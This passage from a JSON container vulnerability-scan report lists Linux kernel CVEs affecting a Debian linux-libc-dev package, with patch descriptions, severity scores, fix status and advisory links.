offset 14 overlaps inet_skb_parm.opt.rr, producing a non-zero rr\nvalue. __ip_options_echo() then reads optlen from attacker-controlled\npacket data at sptr[rr+1] and copies that many bytes into dopt-\u003e__data,\na fixed 40-byte stack buffer (IP_OPTIONS_DATA_FIXED_SIZE).\n\nTo fix this we clear skb2-\u003ecb[], as suggested by Oskar Kjos.\n\nAlso add minimal IPv4 header validation (version == 4, ihl \u003e= 5).", "Severity": "CRITICAL", "CweIDs": [ "CWE-787", "CWE-121", "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 4, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22900", "https://access.redhat.com/errata/RHSA-2026:22940", "https://access.redhat.com/errata/RHSA-2026:22964", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:23237", "https://access.redhat.com/errata/RHSA-2026:24343", "https://access.redhat.com/errata/RHSA-2026:25044", "https://access.redhat.com/errata/RHSA-2026:25120", "https://access.redhat.com/errata/RHSA-2026:25121", "https://access.redhat.com/errata/RHSA-2026:25181", "https://access.redhat.com/errata/RHSA-2026:25186", "https://access.redhat.com/errata/RHSA-2026:25191", "https://access.redhat.com/errata/RHSA-2026:25193", "https://access.redhat.com/errata/RHSA-2026:25200", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:25533", "https://access.redhat.com/errata/RHSA-2026:25534", "https://access.redhat.com/errata/RHSA-2026:26528", "https://access.redhat.com/errata/RHSA-2026:26535", "https://access.redhat.com/errata/RHSA-2026:26542", "https://access.redhat.com/errata/RHSA-2026:27719", "https://access.redhat.com/errata/RHSA-2026:27729", "https://access.redhat.com/errata/RHSA-2026:28738", "https://access.redhat.com/errata/RHSA-2026:28740", "https://access.redhat.com/errata/RHSA-2026:28741", "https://access.redhat.com/errata/RHSA-2026:28742", "https://access.redhat.com/errata/RHSA-2026:28748", "https://access.redhat.com/errata/RHSA-2026:28749", "https://access.redhat.com/errata/RHSA-2026:28750", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:28962", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/errata/RHSA-2026:44232", "https://access.redhat.com/security/cve/CVE-2026-43037", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/2edfa31769a4add828a7e604b21cb82aaaa05925%20%287.0-rc7%29", "https://git.kernel.org/stable/c/1063515ce15ff31065c4e7f8265f4c2fd3c54876", "https://git.kernel.org/stable/c/2cc6e3b0fe0f0242d1f530a93a4924f48ab85ba5", "https://git.kernel.org/stable/c/2edfa31769a4add828a7e604b21cb82aaaa05925", "https://git.kernel.org/stable/c/4a622658f384b03560834cbe8ffcfe69a278f7c8", "https://git.kernel.org/stable/c/590f622669b97eaf7b57a1de7b0a6e68c5d8b2c3", "https://git.kernel.org/stable/c/a0c4ce9900a108eaf55d0f3b399cb55999647d39", "https://git.kernel.org/stable/c/d6621f60192fe10c047a4487be42a6f4c150707f", "https://git.kernel.org/stable/c/ea9f65b27c8404e164848ebff1443310fd187629", "https://linux.oracle.com/cve/CVE-2026-43037.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/linux-cve-announce/2026050102-CVE-2026-43037-0346@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43037", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43037.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8667-1", "https://www.cve.org/CVERecord?id=CVE-2026-43037" ], "PublishedDate": "2026-05-01T15:16:48.383Z", "LastModifiedDate": "2026-10-19T20:18:01.703Z" }, { "VulnerabilityID": "CVE-2026-98432", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3892048b42ffb5d0888fd9a716b4f25faa7b48d5daf399e3a80012649d99cda2", "Title": "kernel: ipv4: free inet_opt and ireq_opt after an RCU grace period", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: free inet_opt and ireq_opt after an RCU grace period\n\ntcp_v4_syn_recv_sock() transfers ownership of ireq-\u003eireq_opt to the\nchild socket (newinet-\u003einet_opt) without copying it.\n\nAnother cpu can concurrently process a retransmitted SYN for the same\nrequest socket, and send a SYNACK from tcp_check_req().\ntcp_v4_send_synack() and inet_csk_route_req() read ireq-\u003eireq_opt\nunder rcu_read_lock() only, and ip_build_and_send_pkt() and\nip_options_build() then read opt-\u003eoptlen twice.\n\nNote that the SYNACK timer itself is not an issue: it holds a\nreference on its request socket, and inet_csk_reqsk_queue_drop()\ncalls timer_delete_sync() before the child can be freed.\n\nSince commit 079096f103fa (\"tcp/dccp: install syn_recv requests\ninto ehash table\"), request sockets are processed without holding\nthe listener lock, so nothing prevents the child socket from being\nfreed while the SYNACK is still being built. TCP child sockets do\nnot have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt\nwith a plain kfree(), leading to a use-after-free in\nip_options_build().\n\nA similar issue exists with request socket migration\n(net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE\nprogram). reqsk_timer_handler() clones the request socket with\ninet_reqsk_clone(), so that the old request socket and its clone\nshare the same ireq_opt, then reqsk_migrate_reset() clears the\npointer in the old one. Another cpu holding a reference on the old\nrequest socket can still be using these options (sending a SYNACK,\nor creating a child in tcp_v4_syn_recv_sock()) when the clone is\nfreed, and tcp_v4_reqsk_destructor() also uses a plain kfree().\n\nReaders already use RCU, and other paths replacing inet_opt\n(do_ip_setsockopt(), cipso_v4_sock_setattr()...) already use\nkfree_rcu(). Use kfree_rcu() in inet_sock_destruct() and\ntcp_v4_reqsk_destructor() as well.\n\nIPv6 is not affected by the first issue, because tcp_v6_syn_recv_sock()\nduplicates the options. tcp_v6_reqsk_destructor() has the same\nmigration issue with ipv6_opt, which is only set by CALIPSO. This\nwill be addressed in a separate patch.", "Severity": "CRITICAL", "VendorSeverity": { "alma": 4, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 4, "photon": 4, "redhat": 4, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "http://www.openwall.com/lists/oss-security/2026/10/30/1", "http://www.openwall.com/lists/oss-security/2026/10/30/6", "http://www.openwall.com/lists/oss-security/2026/10/31/5", "http://www.openwall.com/lists/oss-security/2026/11/03/1", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:93415", "https://access.redhat.com/security/cve/CVE-2026-98432", "https://bugzilla.redhat.com/2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-93415.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/e3f33b0a1d89d738e2b913dab519226eaf76e15b%20%287.3-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98432.mbox", "https://git.kernel.org/stable/c/11a03ce3c4a62d84c10ccdfe47f8075006498568", "https://git.kernel.org/stable/c/26d4c36d318cffbbd160884a0e4cec0da4da4936", "https://git.kernel.org/stable/c/742f73df544e03744f2981c467d6542fe8172a2a", "https://git.kernel.org/stable/c/89b5b1eb7d633c33832b7ff2c02e19a144705036", "https://git.kernel.org/stable/c/95a8c8fa9f27dce64c40c41c062de7728bf34ab5", "https://git.kernel.org/stable/c/a47406c769f72c070386985488f1c4d057df86b2", "https://git.kernel.org/stable/c/b3b027ef0cd322bfa839b9aaf5b27551eea54cf6", "https://git.kernel.org/stable/c/e3f33b0a1d89d738e2b913dab519226eaf76e15b", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-quiyere1yzbn.toml", "https://linux.oracle.com/cve/CVE-2026-98432.html", "https://linux.oracle.com/errata/ELSA-2026-93414.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98432", "https://ubuntu.com/blog/fixes-available-in-proposed-pocket-for-cve-2026-98432", "https://www.cve.org/CVERecord?id=CVE-2026-98432" ], "PublishedDate": "2026-10-15T13:17:13.987Z", "LastModifiedDate": "2026-11-06T19:28:12.867Z" }, { "VulnerabilityID": "CVE-2026-99083", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99083", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:25697329d8f5be9140002d9ae3b86dbcf2fbd1ab9c9a040087fb7e2d984ccc80", "Title": "kernel: ksmbd: fix heap out-of-bounds write in krb5_authenticate()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix heap out-of-bounds write in krb5_authenticate()\n\nIn krb5_authenticate(), out_len is calculated to determine available\nheadroom in response_buf for the incoming Kerberos AP-REP token. However,\nwhen SMB2_SESSION_SETUP is processed as a non-first element of a compounded\nSMB2 request, the calculation omits work-\u003enext_smb2_rsp_hdr_off.\n\nThis causes out_len to overstate remaining buffer headroom by\nthe cumulative size of prior responses in the compound chain. Consequently,\nthe length check in ksmbd_krb5_authenticate()\n(*out_len \u003c= resp-\u003espnego_blob_len) passes erroneously, allowing memcpy()\nto write the AP-REP blob past the end of response_buf into adjacent kernel\nheap memory.\n\nFix this by subtracting work-\u003enext_smb2_rsp_hdr_off when computing out_len,\nensuring it accurately reflects physical remaining buffer space.", "Severity": "CRITICAL", "VendorSeverity": { "photon": 3, "redhat": 4, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99083", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99083.mbox", "https://git.kernel.org/stable/c/1f73a6d40f4d1bae4f3491c0ec1ea8ee6ce035ff", "https://git.kernel.org/stable/c/23a0be6a84a38ac169eeab49017934e8e27c65f0", "https://git.kernel.org/stable/c/4722d06b2907585074252061b1024a696c1cfc23", "https://git.kernel.org/stable/c/517404e157395d0f8da125ca956c566895dfcd06", "https://git.kernel.org/stable/c/59c6dcc5dd9dafe764ca0d40525933b2be69b059", "https://git.kernel.org/stable/c/80af1bde97d5a85ad6f2c40ca894ccc8fa75a27a", "https://git.kernel.org/stable/c/a07dfb33112a42437f9d2d0bfd35c68575257381", "https://nvd.nist.gov/vuln/detail/CVE-2026-99083", "https://www.cve.org/CVERecord?id=CVE-2026-99083" ], "PublishedDate": "2026-10-23T13:17:32.577Z", "LastModifiedDate": "2026-10-30T13:21:44.38Z" }, { "VulnerabilityID": "CVE-2013-7445", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "will_not_fix", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2013-7445", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f7b63cc33f34fbf1f974cbd2b8eadff639b7cab7b27ac8c5176d74552c3e91c3", "Title": "kernel: memory exhaustion via crafted Graphics Execution Manager (GEM) objects", "Description": "The Direct Rendering Manager (DRM) subsystem in the Linux kernel through 4.x mishandles requests for Graphics Execution Manager (GEM) objects, which allows context-dependent attackers to cause a denial of service (memory consumption) via an application that processes graphics data, as demonstrated by JavaScript code that creates many CANVAS elements for rendering by Chrome or Firefox.", "Severity": "HIGH", "CweIDs": [ "CWE-399" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V2Vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "V2Score": 7.8 }, "redhat": { "V2Vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "V2Score": 4.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2013-7445", "https://bugzilla.kernel.org/show_bug.cgi?id=60533", "https://lists.freedesktop.org/archives/dri-devel/2015-September/089778.html%20%28potential%20start%20towards%20fixing%29", "https://nvd.nist.gov/vuln/detail/CVE-2013-7445", "https://www.cve.org/CVERecord?id=CVE-2013-7445" ], "PublishedDate": "2015-10-16T01:59:00.12Z", "LastModifiedDate": "2026-05-06T22:30:45.22Z" }, { "VulnerabilityID": "CVE-2019-19449", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-19449", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8a225b3dfa710e213fa08b51f228f90d029e7f685912e903352a08d230c34670", "Title": "kernel: mounting a crafted f2fs filesystem image can lead to slab-out-of-bounds read access in f2fs_build_segment_manager in fs/f2fs/segment.c", "Description": "In the Linux kernel 5.0.21, mounting a crafted f2fs filesystem image can lead to slab-out-of-bounds read access in f2fs_build_segment_manager in fs/f2fs/segment.c, related to init_min_max_mtime in fs/f2fs/segment.c (because the second argument to get_seg_entry is not validated).", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V2Score": 6.8, "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2019-19449", "https://github.com/bobfuzzer/CVE/tree/master/CVE-2019-19449", "https://nvd.nist.gov/vuln/detail/CVE-2019-19449", "https://security.netapp.com/advisory/ntap-20200103-0001/", "https://ubuntu.com/security/notices/USN-5120-1", "https://ubuntu.com/security/notices/USN-5136-1", "https://ubuntu.com/security/notices/USN-5137-1", "https://ubuntu.com/security/notices/USN-5137-2", "https://ubuntu.com/security/notices/USN-5343-1", "https://www.cve.org/CVERecord?id=CVE-2019-19449" ], "PublishedDate": "2019-12-08T02:15:09.97Z", "LastModifiedDate": "2026-06-17T02:26:40.43Z" }, { "VulnerabilityID": "CVE-2019-19814", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-19814", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4d8821c39527e07a6a7b0f22cd52e2a58f5f32c03ef72ec5e6e74104cb5b7f66", "Title": "kernel: out-of-bounds write in __remove_dirty_segment in fs/f2fs/segment.c", "Description": "In the Linux kernel 5.0.21, mounting a crafted f2fs filesystem image can cause __remove_dirty_segment slab-out-of-bounds write access because an array is bounded by the number of dirty types (8) but the array index can exceed this.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V2Vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V2Score": 9.3, "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2019-19814", "https://github.com/bobfuzzer/CVE/tree/master/CVE-2019-19814", "https://nvd.nist.gov/vuln/detail/CVE-2019-19814", "https://security.netapp.com/advisory/ntap-20200103-0001/", "https://www.cve.org/CVERecord?id=CVE-2019-19814" ], "PublishedDate": "2019-12-17T06:15:12.843Z", "LastModifiedDate": "2026-06-17T02:27:17.097Z" }, { "VulnerabilityID": "CVE-2021-3847", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-3847", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7d06665663d129c57bc11e05d661afd36029274495341148f18f11a3c38eee17", "Title": "kernel: low-privileged user privileges escalation", "Description": "An unauthorized access to the execution of the setuid file with capabilities flaw in the Linux kernel OverlayFS subsystem was found in the way user copying a capable file from a nosuid mount into another mount. A local user could use this flaw to escalate their privileges on the system.", "Severity": "HIGH", "CweIDs": [ "CWE-281" ], "VendorSeverity": { "cbl-mariner": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V2Vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V2Score": 7.2, "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2021-3847", "https://bugzilla.redhat.com/show_bug.cgi?id=2009704", "https://nvd.nist.gov/vuln/detail/CVE-2021-3847", "https://www.cve.org/CVERecord?id=CVE-2021-3847", "https://www.openwall.com/lists/oss-security/2021/10/14/3" ], "PublishedDate": "2022-04-01T23:15:10.597Z", "LastModifiedDate": "2026-06-17T04:05:53.22Z" }, { "VulnerabilityID": "CVE-2021-3864", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-3864", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c9254afb3a4f7f15d3f8072999d0143925d44009f5083493e2fb776db7917c2b", "Title": "kernel: descendant's dumpable setting with certain SUID binaries", "Description": "A flaw was found in the way the dumpable flag setting was handled when certain SUID binaries executed its descendants. The prerequisite is a SUID binary that sets real UID equal to effective UID, and real GID equal to effective GID. The descendant will then have a dumpable value set to 1. As a result, if the descendant process crashes and core_pattern is set to a relative value, its core dump is stored in the current directory with uid:gid permissions. An unprivileged local user with eligible root SUID binary could use this flaw to place core dumps into root-owned directories, potentially resulting in escalation of privileges.", "Severity": "HIGH", "CweIDs": [ "CWE-284" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2021-3864", "https://bugzilla.redhat.com/show_bug.cgi?id=2015046", "https://lore.kernel.org/all/20211221021744.864115-1-longman@redhat.com", "https://lore.kernel.org/all/20211221021744.864115-1-longman@redhat.com/", "https://lore.kernel.org/all/20211226150310.GA992@1wt.eu/", "https://lore.kernel.org/lkml/20211228170910.623156-1-wander@redhat.com", "https://lore.kernel.org/lkml/20211228170910.623156-1-wander@redhat.com/", "https://nvd.nist.gov/vuln/detail/CVE-2021-3864", "https://security-tracker.debian.org/tracker/CVE-2021-3864", "https://www.cve.org/CVERecord?id=CVE-2021-3864", "https://www.openwall.com/lists/oss-security/2021/10/20/2" ], "PublishedDate": "2022-08-26T16:15:09.68Z", "LastModifiedDate": "2026-06-17T04:05:55.15Z" }, { "VulnerabilityID": "CVE-2023-52452", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", 